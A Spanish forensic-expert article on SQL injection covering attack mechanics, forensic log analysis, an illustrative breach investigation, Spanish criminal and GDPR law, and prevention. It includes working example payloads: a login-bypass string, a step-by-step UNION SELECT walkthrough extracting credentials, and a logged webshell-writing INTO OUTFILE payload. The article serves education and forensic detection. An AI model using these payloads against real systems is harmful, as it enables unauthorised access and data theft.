Seguridad

Inyección SQL

Técnica de ataque que explota vulnerabilidades en la validación de entradas de aplicaciones web para ejecutar comandos SQL maliciosos en la base de datos subyacente, permitiendo acceso no autorizado, extracción o manipulación de datos.

19 min de lectura

¿Qué es la inyección SQL?

La inyección SQL (SQL injection o SQLi) es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Mediante la inserción de código SQL malicioso en campos de entrada —formularios de login, barras de búsqueda, parámetros de URL o cabeceras HTTP—, el atacante consigue que el servidor de base de datos ejecute instrucciones no previstas por los desarrolladores.

En el OWASP Top 10 de 2025, la inyección —que agrupa SQLi, XSS y otras formas de inyección— es la categoría A05:2025, tras haber ocupado la tercera posición como A03:2021 en la edición anterior. La bajada de dos puestos no significa que se explote menos: refleja que el ranking de OWASP pondera prevalencia e impacto sobre el conjunto de aplicaciones analizadas, y que en esta edición han escalado otras categorías —entre ellas A03:2025 Software Supply Chain Failures, que entra directamente en el tercer puesto—. Al citar OWASP en un informe conviene decir siempre la edición, porque los identificadores Annn se reutilizan de una a otra con contenidos distintos. A pesar de ser una vulnerabilidad conocida desde finales de los años 90, sigue siendo responsable de algunas de las brechas de datos más graves a nivel mundial. Y la tendencia reciente lo refuerza por otra vía: el Data Breach Investigations Report 2026 de Verizon sitúa la explotación de vulnerabilidades como el vector de acceso inicial más frecuente, con el 31 % —era el 20 % el año anterior—, por delante del abuso de credenciales.

En el ámbito del peritaje informático forense, la inyección SQL requiere un análisis riguroso y multidimensional: no basta con identificar la vulnerabilidad explotada, sino que es necesario reconstruir toda la cadena de ataque, cuantificar los datos comprometidos y preservar la evidencia con garantías procesales para que sea admisible en procedimientos judiciales.

Impacto real de la inyección SQL

Un solo ataque de inyección SQL exitoso puede comprometer la totalidad de una base de datos: credenciales de usuarios, datos financieros, información personal protegida por el RGPD e incluso configuraciones internas del servidor. La gravedad depende del nivel de privilegios que tenga la cuenta de base de datos utilizada por la aplicación.

Cómo funciona la inyección SQL

Mecanismo básico del ataque

En una aplicación web vulnerable, el código del servidor construye consultas SQL concatenando directamente la entrada del usuario sin validarla ni parametrizarla. Un formulario de login típico podría generar esta consulta:

-- Consulta esperada por el desarrollador
SELECT * FROM usuarios WHERE username='admin' AND password='miClave123';

-- Lo que el atacante introduce en el campo de usuario (MySQL: el espacio tras -- es significativo):
-- admin'-- -
-- Consulta resultante:
SELECT * FROM usuarios WHERE username='admin'-- -' AND password='loquesea';

En MySQL, -- inicia un comentario solo si el segundo guion va seguido de un espacio o un carácter de control (por eso el payload añade -- -); desde ese punto se ignora el resto de la línea y el atacante accede como administrador sin conocer la contraseña. La sintaxis exacta de los comentarios depende del motor.

Tipos de inyección SQL

TipoMecanismoDificultad de detecciónImpacto
In-band (clásica)La respuesta de la base de datos se muestra directamente en la páginaBaja - deja rastros claros en logsExtracción directa de datos
UNION-basedUsa UNION SELECT para combinar resultados de otras tablasBaja - queries UNION anómalas en logsAcceso a cualquier tabla
Error-basedProvoca errores SQL que revelan estructura de la base de datosMedia - errores pueden no loguearseReconocimiento de estructura
Blind booleanInfiere datos observando respuestas true/false de la aplicaciónAlta - una petición por bit de informaciónExtracción lenta pero efectiva
Blind time-basedUsa funciones de retardo (SLEEP, WAITFOR) para inferir datosAlta - múltiples peticiones con tiemposExtracción muy lenta
Out-of-bandExfiltra datos vía DNS o HTTP hacia servidor del atacanteMuy alta - datos salen por canal diferenteBypass de firewalls
Second-orderPayload almacenado se ejecuta en otro contexto posteriorMuy alta - la inyección es diferidaPersistente y difícil de rastrear

Ejemplo detallado: UNION-based injection

-- Paso 1: Determinar número de columnas
/productos?id=1 ORDER BY 1--    (OK)
/productos?id=1 ORDER BY 2--    (OK)
/productos?id=1 ORDER BY 3--    (OK)
/productos?id=1 ORDER BY 4--    (ERROR - solo 3 columnas)

-- Paso 2: Identificar columnas visibles
/productos?id=-1 UNION SELECT 1,2,3--
-- La página muestra "2" y "3" en algún campo visible

-- Paso 3: Extraer datos del sistema
/productos?id=-1 UNION SELECT 1,version(),database()--
-- Revela: MySQL 8.0.32, base de datos "tienda_online"

-- Paso 4: Listar tablas
/productos?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='tienda_online'--

-- Paso 5: Extraer datos sensibles
/productos?id=-1 UNION SELECT 1,username,password FROM usuarios--
Herramientas automatizadas

Los atacantes suelen utilizar herramientas como SQLMap que automatizan todo este proceso, realizando cientos o miles de peticiones en minutos para mapear la base de datos completa. Esto deja un patrón de tráfico muy reconocible en los logs del servidor web y del WAF.

Análisis forense de un ataque SQLi

Fuentes de evidencia

La investigación forense de una inyección SQL requiere recopilar y correlacionar evidencia de múltiples fuentes:

FuenteUbicación típicaInformación clave
Logs del servidor web/var/log/apache2/access.log, /var/log/nginx/access.logURLs con payloads SQLi, IPs de origen, timestamps
Logs del WAFVaría según proveedor (ModSecurity, Cloudflare, AWS WAF)Peticiones bloqueadas y permitidas, reglas activadas
Logs de la base de datosMySQL: general_log, slow_query_log; PostgreSQL: pg_logSentencias recibidas, conexiones y usuarios; el general_log no acredita por sí solo el éxito ni las filas devueltas
Logs de aplicaciónDirectorio de la aplicación (varía)Errores, excepciones, queries con parámetros
Capturas de redArchivos pcap de IDS/IPS o mirror de tráficoPeticiones HTTP completas, respuestas del servidor
Logs del sistema operativo/var/log/syslog, Event ViewerAccesos a archivos, procesos, conexiones

Proceso de investigación forense

  1. Preservación inmediata de la evidencia: Antes de cualquier análisis, crear copias forenses con hash SHA-256 de todos los logs relevantes: servidor web, WAF, base de datos y aplicación. Documentar la cadena de custodia desde el primer momento. Si la base de datos sigue activa, deshabilitar la rotación de logs y crear un snapshot.

  2. Análisis de logs del servidor web: Buscar patrones de inyección SQL en los access logs del servidor web. Los indicadores más comunes incluyen: comillas simples en parámetros ('), cláusulas UNION SELECT, comentarios SQL (--, /**/, #), funciones de tiempo (SLEEP, WAITFOR DELAY), y palabras clave SQL en parámetros de URL (information_schema, sysobjects, LOAD_FILE).

  3. Correlación con logs del WAF: Si existe un WAF (Web Application Firewall), sus logs revelan tanto las peticiones bloqueadas como las que pudieron pasar. Analizar las reglas activadas (CRS de OWASP, reglas personalizadas) y correlacionar timestamps con los logs del servidor web para identificar los payloads que tuvieron éxito.

  4. Análisis de logs de la base de datos: Examinar el general_log o slow_query_log para identificar las sentencias registradas como recibidas por el servidor. El general_log no acredita por sí solo que se ejecutaran con éxito ni cuántas filas devolvieron: hay que correlacionarlo con otras fuentes (respuestas del servidor web, errores) para determinar el resultado. Buscar consultas con patrones anómalos: SELECT sin cláusula WHERE sobre tablas sensibles, UNION SELECT con número de columnas inconsistente, acceso a information_schema o tablas de sistema.

  5. Reconstrucción del timeline: Crear una línea temporal completa correlacionando las distintas fuentes. Identificar el momento exacto del primer intento, la fase de reconocimiento (pruebas de número de columnas, detección de versión), la exfiltración exitosa y la última actividad del atacante.

  6. Cuantificación del impacto: Determinar exactamente qué tablas fueron consultadas, cuántos registros se extrajeron, si hubo modificaciones (INSERT, UPDATE, DELETE) o si el atacante logró escribir archivos en el servidor (INTO OUTFILE) o ejecutar comandos del sistema operativo (xp_cmdshell en SQL Server).

  7. Identificación del atacante: Analizar las IPs de origen (pueden ser VPN, Tor o proxies), los User-Agent utilizados, los patrones de tiempo entre peticiones (automatizado vs manual), y cualquier otro indicador que pueda atribuir el ataque.

Patrones forenses en logs del servidor web

## Patrón típico de reconocimiento SQLMap (User-Agent delator)
203.0.113.42 - - [15/Feb/2026:03:45:12 +0100]
  "GET /productos?id=1%27%20OR%201=1-- HTTP/1.1" 200 4523
  "sqlmap/1.7.2#stable (https://sqlmap.org)"

## Inyección UNION-based (URL-encoded)
203.0.113.42 - - [15/Feb/2026:03:45:23 +0100]
  "GET /productos?id=-1%20UNION%20SELECT%201,username,password%20FROM%20usuarios-- HTTP/1.1" 200 8912

## Blind time-based (respuesta lenta = verdadero)
203.0.113.42 - - [15/Feb/2026:03:46:01 +0100]
  "GET /productos?id=1%20AND%20SLEEP(5)-- HTTP/1.1" 200 4523
  # Tiempo de respuesta: 5.003s (normal sería menos de 100ms)

## Intento de escritura de webshell
203.0.113.42 - - [15/Feb/2026:03:48:15 +0100]
  "GET /productos?id=-1%20UNION%20SELECT%201,%27%3C%3Fphp%20system(%24_GET[cmd])%3B%3F%3E%27,3%20INTO%20OUTFILE%20%27/var/www/html/shell.php%27-- HTTP/1.1" 403 287
Urgencia en la preservación

La ventana disponible para preservar los logs depende de la configuración efectiva del servidor web y de la política de rotación del sistema: no debe suponerse una rotación semanal ni que access.log se sobrescriba por sí solo. En servidores con mucho tráfico esa ventana puede reducirse a días. Por eso la preservación forense inmediata es crítica: hay que comprobar la política vigente y congelar los ficheros de inmediato.

Clasificación OWASP y estándares

OWASP Top 10

La inyección SQL se enmarca en la categoría A05:2025 - Injection del OWASP Top 10 (A03:2021 en la edición anterior). Esta clasificación es relevante en contextos periciales porque el OWASP Top 10 es un documento de referencia y concienciación con amplio consenso en la seguridad de aplicaciones web.

CWE (Common Weakness Enumeration)

Código CWEDescripciónRelevancia forense
CWE-89Improper Neutralization of Special Elements used in an SQL CommandClasificación principal de SQLi
CWE-564SQL Injection: HibernateVariante en frameworks ORM
CWE-566Authorization Bypass Through User-Controlled SQL Primary KeyBypass de autorización mediante clave primaria controlable
CWE-943Improper Neutralization of Special Elements in Data Query LogicClase amplia de inyección en lógica de consulta (incluye SQL y NoSQL)

Mitigaciones según OWASP

MitigaciónEficaciaEjemplo
Prepared statements (parametrizadas)Muy altaSELECT * FROM users WHERE id = ?
Stored proceduresAltaProcedimientos almacenados sin SQL dinámico
Validación de entrada (whitelist)Media-altaSolo permitir caracteres alfanuméricos donde corresponda
Escape de caracteresMediamysql_real_escape_string() (último recurso)
WAF (Web Application Firewall)MediaDetección por firmas y anomalías
Principio de mínimo privilegioComplementariaCuenta de BD de la app sin permisos de admin

Recorrido completo: brecha de datos en un comercio electrónico

Escenario ilustrativo

El recorrido de esta sección es un escenario construido sobre una tipología real de la práctica pericial: muestra cómo se encadena la investigación de un SQLi y, sobre todo, cómo se cuantifica el alcance. Los perfiles, cifras, horas y desenlaces no corresponden a un procedimiento identificable.

Escenario

Una tienda online con 45.000 clientes registrados detecta actividad anómala en su base de datos. El equipo de sistemas observa que los tiempos de respuesta de las consultas se han degradado significativamente y aparecen registros de acceso inusuales en los logs del servidor web durante la madrugada.

Investigación forense

Fase 1: Preservación

## 1) Congelar la rotación y fijar los ficheros exactos a adquirir.
##    Los logs son activos: se documenta cómo se obtiene una versión estable
##    (parada del servicio o copia con la rotación detenida) antes de hashear.
LOGS="/var/log/nginx/access.log /var/log/mysql/general.log"

## 2) Hash de cada ORIGINAL
sha256sum $LOGS > /evidencia/hashes_originales.txt

## 3) Copia de cada fichero enumerado (aún no es "copia forense": lo será
##    cuando se verifique su integridad en el paso 5)
cp -a /var/log/nginx/access.log  /evidencia/access.log
cp -a /var/log/mysql/general.log /evidencia/general.log

## 4) Hash de cada COPIA
sha256sum /evidencia/access.log /evidencia/general.log > /evidencia/hashes_copias.txt

## 5) Comparar los digests de original y copia: deben coincidir
awk '{print $1}' /evidencia/hashes_originales.txt | sort > /tmp/o.txt
awk '{print $1}' /evidencia/hashes_copias.txt     | sort > /tmp/c.txt
diff /tmp/o.txt /tmp/c.txt && echo "Integridad OK: original == copia"

## 6) Volcado lógico de la BD (artefacto APARTE: su hash acredita ese dump,
##    no sustituye la adquisición de los logs ni una imagen del soporte)
mysqldump --single-transaction --all-databases > /evidencia/db_dump_20260210.sql
sha256sum /evidencia/db_dump_20260210.sql >> /evidencia/hashes_artefactos.txt

Fase 2: Análisis de logs del servidor web

## 2.847 peticiones desde la misma IP en unas 2 horas (madrugada)
185.234.xx.xx - - [09/Feb/2026:02:12:05 +0100]
  "GET /buscar?q=1'%20AND%201=1-- HTTP/1.1" 200 15234
185.234.xx.xx - - [09/Feb/2026:02:12:06 +0100]
  "GET /buscar?q=1'%20AND%201=2-- HTTP/1.1" 200 8921
  # Diferente tamaño de respuesta = blind boolean SQLi

Fase 3: Timeline reconstruido

HoraActividadEvidencia
02:12Primeras pruebas de inyección (boolean blind)access.log: 200 respuestas
02:18Atacante identifica 5 columnas con ORDER BYaccess.log: secuencia ORDER BY
02:20Primera consulta UNION SELECT observadageneral_log: query anómala recibida
02:25Enumeración de tablas vía information_schemageneral_log: 23 sentencias recibidas
02:31Consulta a la tabla clientesgeneral_log: SELECT recibido (no acredita filas devueltas)
02:48Consulta a la tabla pedidosgeneral_log: SELECT recibido
03:15Consulta a la tabla pagosgeneral_log: SELECT sobre datos financieros recibido
03:52Intento de INTO OUTFILE denegadolog de errores de MySQL: escritura denegada
04:01Última actividad registradaaccess.log: última petición

Fase 4: Cuantificación del impacto

Tabla comprometidaRegistrosDatos expuestosCriticidad RGPD
clientes45.000Nombre, email, teléfono, direcciónAlta (datos personales)
pedidos127.000Historial de compras, importesMedia (datos comerciales)
pagos89.000Últimos 4 dígitos tarjeta, titular, fecha expiraciónCrítica (datos financieros)
usuarios_admin12Usernames y hashes de contraseñas (bcrypt)Alta (credenciales)

Qué documenta el informe pericial

  • La vulnerabilidad concreta explotada: falta de parametrización en el parámetro q del buscador
  • La ausencia de WAF y de validación de entrada
  • El alcance por tabla, con el detalle de la sección anterior
  • La cronología completa, correlacionada entre access.log y general_log
  • Lo que no se puede afirmar, que es tan importante como lo anterior
El alcance no es el número de clientes: es la suma de lo consultado

Es el error de cuantificación más frecuente, y se ve bien en este escenario. Decir «45.000 datos personales comprometidos» porque hay 45.000 clientes infravalora la brecha: las consultas alcanzaron también 127.000 pedidos —historial de compras asociado a personas identificables— y 89.000 registros de pagos con titular y datos parciales de tarjeta. Todo eso son datos personales, y varios de ellos de mayor sensibilidad que el nombre y el email.

La cifra que va a la notificación del art. 33 RGPD no es el censo de clientes: es qué categorías de datos se vieron afectadas y sobre cuántos interesados, que puede ser menos que el total de registros —un cliente aparece en varias tablas— pero nunca se calcula contando solo la tabla de clientes.

Y en el otro sentido, la misma cautela: el general_log acredita qué sentencias recibió el servidor, no que se ejecutaran con éxito, cuántas filas devolvieron ni si el atacante llegó a recibirlas. Un informe riguroso distingue datos accedidos de datos exfiltrados, y declara con qué evidencia sostiene cada cosa.

Con esa documentación, la empresa tiene lo que necesita para la notificación a la AEPD y para la reclamación al ciberseguro. Conviene precisar el papel del peritaje en cada una: la obligación de notificar en 72 horas no espera al informe —se notifica con lo que se sepa, y el art. 33.4 RGPD permite hacerlo de forma escalonada—, mientras que la reclamación a la aseguradora sí suele exigir la acreditación técnica del vector, el alcance y la cronología.

Delitos aplicables al atacante

DelitoArtículo Código PenalPenaAplicación a SQLi
Acceso ilícito a un sistema de informaciónArt. 197 bis.1Prisión de 6 meses a 2 añosEs el tipo base: acceder vulnerando las medidas de seguridad establecidas para impedirlo
Apoderamiento de datos reservados de carácter personalArt. 197.2Las mismas penas del 197.1: prisión de 1 a 4 años y multa de 12 a 24 mesesExtraer datos personales registrados en ficheros — el encaje habitual del SQLi contra una base de datos de clientes
Difusión o cesión de los datos descubiertosArt. 197.3Prisión de 2 a 5 añosPublicar o vender lo extraído. Es un plus sobre el apoderamiento, no un sustituto
Daños informáticosArt. 264Prisión de 6 meses a 3 añosSi, sin autorización y de manera grave, se borran, dañan, alteran o hacen inaccesibles datos ajenos y el resultado producido es grave
Obstaculización del sistemaArt. 264 bis6 meses a 3 años; 3 a 8 años si concurren las circunstancias agravadas del art. 264.2Si el ataque interrumpe gravemente el funcionamiento del sistema
Tres precisiones que decidieron más de un contrainterrogatorio
  • El 197.2 no lleva pena propia. Dice «Las mismas penas se impondrán…», y son las del 197.1: prisión de uno a cuatro años. Los dos a cinco años que suelen atribuírsele son los del 197.3, que castiga difundir, revelar o ceder lo obtenido — conducta distinta y posterior.
  • El 264 bis parte de seis meses a tres años, no de tres a cinco. El tramo alto es el 264 bis.2, de tres a ocho años, y solo cuando concurren las circunstancias agravadas del art. 264.2.
  • Y hay una agravante que casi nunca se cita: el art. 197.4.a eleva a tres a cinco años cuando los hechos los cometen «las personas encargadas o responsables de los ficheros». En una brecha con sospecha de origen interno, es el precepto que cambia la calificación.

Responsabilidad de la empresa víctima

Según el RGPD y la LOPDGDD, la empresa que sufre una inyección SQL puede tener responsabilidad si no implementó medidas de seguridad adecuadas:

ObligaciónNormativaConsecuencia de incumplimiento
Medidas técnicas adecuadasArt. 32 RGPDPosible infracción, valorada según el riesgo (tramo del art. 83.4)
Notificación a la autoridad, sin dilación indebida y, de ser posible, en 72 hArt. 33 RGPDPosible infracción autónoma si se incumple cuando procedía
Comunicación a afectados cuando la brecha probablemente entrañe alto riesgo (salvo excepciones del art. 34.3)Art. 34 RGPDPosible infracción si era exigible
EIPD previa cuando el tratamiento probablemente entrañe alto riesgoArt. 35 RGPDPosible infracción, dentro del tramo del art. 83.4, si era exigible
Registro de actividadesArt. 30 RGPDDificultad para demostrar diligencia

Estándares de referencia en peritaje

  • ISO 27001: Sistema de gestión de seguridad de la información
  • ISO 27037: Directrices para identificación, recopilación, adquisición y preservación de evidencia digital
  • OWASP ASVS: Application Security Verification Standard (nivel de seguridad exigible)
  • ENS (Esquema Nacional de Seguridad): Obligatorio para administraciones públicas españolas

Herramientas forenses para análisis de SQLi

Detección y análisis de ataques

HerramientaFunciónLicencia
ModSecurityWAF open source, logs detallados de intentos SQLiOpen source
SQLMapReproducir el ataque solo sobre una réplica, para acotar qué era alcanzableOpen source
Burp SuiteAnálisis de peticiones HTTP con payloads SQLiComercial/Community
Splunk / ELK StackCorrelación de logs de múltiples fuentesComercial/Open source
GoAccessAnálisis rápido de access logs del servidor webOpen source
Reproducir el ataque contra el sistema de producción arruina la evidencia

SQLMap aparece en todas las listas de herramientas y conviene decir cómo no usarlo en un peritaje. Lanzarlo contra el sistema comprometido hace dos daños a la vez: escribe en los mismos logs que se están analizando —mezclando peticiones del perito con las del atacante en la misma ventana temporal— y puede alterar o destruir datos, con lo que el perito pasa de documentar el incidente a ampliarlo.

Si hace falta acotar qué era alcanzable, se hace sobre una réplica levantada a partir de la copia forense, nunca sobre producción, y el informe declara expresamente que esas peticiones son propias, con su franja horaria y su IP de origen. Un contraperito que encuentre tráfico de SQLMap sin esa declaración tiene servida la pregunta de quién lo lanzó.

Análisis de bases de datos

HerramientaFunciónBase de datos
mysqlbinlogReconstruir queries desde binlogMySQL/MariaDB
pg_waldumpAnalizar WAL para reconstruir transaccionesPostgreSQL
Extended EventsCaptura y análisis de eventos (sustituye a SQL Trace y al SQL Server Profiler, ya deprecados)SQL Server
pt-query-digestAnálisis estadístico de queries (Percona)MySQL

Preservación de evidencia

HerramientaFunción
FTK ImagerImagen forense del servidor completo
sha256sum / hashdeepVerificación de integridad de logs
AutopsyAnálisis forense del sistema de archivos
WiresharkCaptura de tráfico de red para reconstruir peticiones

Prevención y endurecimiento

Medidas técnicas prioritarias

  1. Usar consultas parametrizadas (prepared statements): Es la defensa más efectiva contra SQLi. En lugar de concatenar la entrada del usuario en la query, se utilizan placeholders que el motor de base de datos trata como datos, nunca como código SQL.

  2. Implementar un WAF con reglas OWASP CRS: Un Web Application Firewall con el Core Rule Set de OWASP puede detectar y bloquear patrones de inyección SQL conocidos. Es una capa de defensa en profundidad, susceptible de evasiones y que no cubre todos los vectores de entrada, por lo que no sustituye a las consultas parametrizadas.

  3. Aplicar el principio de mínimo privilegio en la base de datos: La cuenta que utiliza la aplicación web para conectarse a la base de datos no debe tener permisos de administrador. Limitar a SELECT, INSERT, UPDATE y DELETE sobre las tablas estrictamente necesarias.

  4. Validar y sanear toda entrada del usuario: Implementar validación de tipo whitelist (solo permitir los caracteres y formatos esperados) en lugar de intentar bloquear caracteres peligrosos (blacklist).

  5. Monitorizar y conservar logs: Configurar logging detallado tanto en el servidor web como en la base de datos, con una retención definida y documentada según los riesgos, los requisitos legales y contractuales y la ventana de detección de la organización, para facilitar la investigación forense en caso de incidente.

Relación con otros conceptos

La inyección SQL se conecta directamente con varias disciplinas del peritaje informático forense:

  • Query SQL forense: El análisis de las queries ejecutadas en la base de datos es la técnica forense central para reconstruir un ataque SQLi, determinando exactamente qué datos fueron consultados o modificados.

  • SQLite forense: Muchas aplicaciones móviles y de escritorio utilizan SQLite como base de datos local, y son igualmente vulnerables a inyecciones SQL cuando no parametrizan sus consultas.

  • Logs de sistema: Los logs del servidor web, la base de datos y el WAF son las fuentes de evidencia primarias en la investigación forense de un ataque de inyección SQL.

  • Evidencia digital: Los logs, capturas de red y volcados de base de datos obtenidos durante la investigación de un SQLi deben preservarse siguiendo protocolos de evidencia digital para garantizar su admisibilidad judicial.

  • Cadena de custodia: Cada pieza de evidencia obtenida del análisis del ataque SQLi debe documentarse en la cadena de custodia con hashes de integridad y registro de accesos.


Y hay un plazo que corre desde el primer minuto y no espera a nadie: los logs se rotan. En un servidor con tráfico, y según su política de rotación, el access.log puede sobrescribirse en pocos días, y el general_log de MySQL suele estar desactivado por defecto — de modo que la evidencia que reconstruye la cronología o se preserva ahora, o no existe después. Lo primero no es analizar: es congelar la rotación y hashear. El análisis lo firma un perito informático forense, que responde de la cadena de custodia ante el tribunal.

Los logs que reconstruyen el ataque se rotan en días

El general_log de MySQL suele venir desactivado y el access.log puede sobrescribirse según su política de rotación: cuando arranca el procedimiento, la cronología puede haber desaparecido. Preservación inmediata con SHA-256, correlación entre servidor web y base de datos, y cuantificación del alcance por categorías de datos.

Última actualización: 6 de septiembre de 2026 Categoría: Seguridad Código: SQL-001

Preguntas Frecuentes

¿Qué es una inyección SQL y cómo funciona?

Es un ataque donde el atacante introduce código SQL malicioso en campos de entrada de una aplicación web (formularios, URLs, cabeceras) para que el servidor de base de datos lo ejecute. Permite extraer datos, modificar registros o incluso ejecutar comandos en el sistema operativo.

¿Cómo detecta un perito forense un ataque de inyección SQL?

Analizando logs del servidor web (Apache, Nginx), logs del WAF si existe, logs de la base de datos (general_log, slow_query_log), y correlacionando patrones de tráfico anómalo con las queries ejecutadas en la base de datos.

¿Qué consecuencias legales tiene sufrir una inyección SQL con brecha de datos?

La empresa víctima debe notificar a la AEPD sin dilación indebida y, de ser posible, a más tardar 72 horas después de tener constancia (art. 33 RGPD), salvo que sea improbable que la brecha suponga un riesgo para los afectados; si notifica más tarde, debe justificar la demora. Una brecha no determina por sí sola que las medidas fueran inadecuadas: la adecuación al art. 32 RGPD se valora caso por caso según el riesgo y el estado de la técnica. La falta de consultas parametrizadas puede ser un indicio técnico relevante, y disponer o no de WAF es uno de los elementos de defensa, no un requisito autónomo que decida la infracción. Cuando se aprecia una infracción del art. 32, el art. 83.4.a la sitúa en el tramo de hasta 10 millones de euros o el 2 % del volumen de negocio anual global, el importe que sea mayor. No es el tramo de 20 millones y el 4 %: ese, del art. 83.5, se reserva a otras infracciones como las de los principios del tratamiento o los derechos de los interesados.

¿Necesitas un peritaje forense?

Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.

Solicitar Consulta Gratuita
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp